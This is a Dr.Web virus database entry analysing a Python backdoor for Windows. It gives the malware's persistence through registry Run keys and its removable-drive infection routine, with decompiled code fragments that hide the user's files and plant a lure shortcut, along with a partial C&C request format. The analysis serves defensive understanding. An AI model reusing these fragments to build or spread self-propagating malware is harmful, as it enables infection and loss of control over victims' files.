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Added to the Dr.Web virus database: 2017-10-12

Virus description added:


  • 05cae95a3340395e363c2d6bddbc57833dbdb85c

A backdoor for Windows written in Python. Contains a packed tool py2exe.


  • If a file name does not match “mscore.exe”, it creates its copy in a folder All Users\Application Data\NetFramework\ with the name mscore.exe.
  • Registers itself in the autorun: if administrator privileges are available—in the registry branch [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run], else—in the branch [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run].
  • Shuts down the script and wait for a reboot.


  • Tries to infect removable media with names from C to Z:
                    drive = u'{}:\\'.format(letter)
                    if bitmask & 1 and ctypes.windll.kernel32.GetDriveTypeW(drive) == 2:
                        mounted_letters = subprocess.Popen('wmic logicaldisk where deviceid="%s:" get Size' % letter, startupinfo = startupinfo, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, stdin = subprocess.PIPE)
                        length = mounted_letters.stdout.readlines()[1].strip()
                        if not length.isdigit():
                        volume_name_buffer = ctypes.create_unicode_buffer(1024)
                        ctypes.windll.kernel32.GetVolumeInformationW(drive, volume_name_buffer, ctypes.sizeof(volume_name_buffer), None, None, None, None, None)
  • Creates a hidden directory:
    hidden_folder = os.path.join(drive, unichr(160))
    if not os.path.exists(hidden_folder):
    ctypes.windll.kernel32.SetFileAttributesW(hidden_folder, 2)
  • Saves its copy with the name VolumeInformation.exe:
    destination_file_path = os.path.join(drive, 'VolumeInformation.exe')
    if not os.path.exists(destination_file_path):
        shutil.copyfile(sys.argv[0], destination_file_path)
        ctypes.windll.kernel32.SetFileAttributesW(destination_file_path, 2)
  • In the root disc directory, it creates a link that looks the following way: <volume name>.lnk (or Removable Disk.lnk). The link refers to the malicious executable file VolumeInformation.exe:
    ctypes.windll.kernel32.GetVolumeInformationW(drive, volume_name_buffer, ctypes.sizeof(volume_name_buffer), None, None, None, None, None)
    if len(volume_name_buffer.value) == 0:
        lnk_name = 'Removable Disk'
        lnk_name = volume_name_buffer.value
  • Moves files different from .lnk, VolumeInformation.exe and .vbs to the preliminary created hidden folder:
    for content in os.listdir(drive):
        if not content.endswith('.lnk') and not content.endswith('.vbs') and 'VolumeInformation' not in content:
                shutil.move(os.path.join(drive, content), hidden_folder)

Communication with the C&C server

The Trojan attempts to define an IP address and an available port of the command and control server by sending a request to several Internet servers:

url_list = [

If it is successful in obtaining an IP address and a port, it sends a request to the C&C server. The request looks the following way:

    'mode': 'buildClient',
    'from': 'client',
    'payload': '{}'.format(MODERATOR), # MODERATOR = "UPX"
    'key': '',
    'module_id': '',
    'session_id': '' }) + '[ENDOFMESSAGE]'

As a response from the C&C server, a script written in Python is downloaded. It is detected as Python.BackDoor.35.

News about the Trojan

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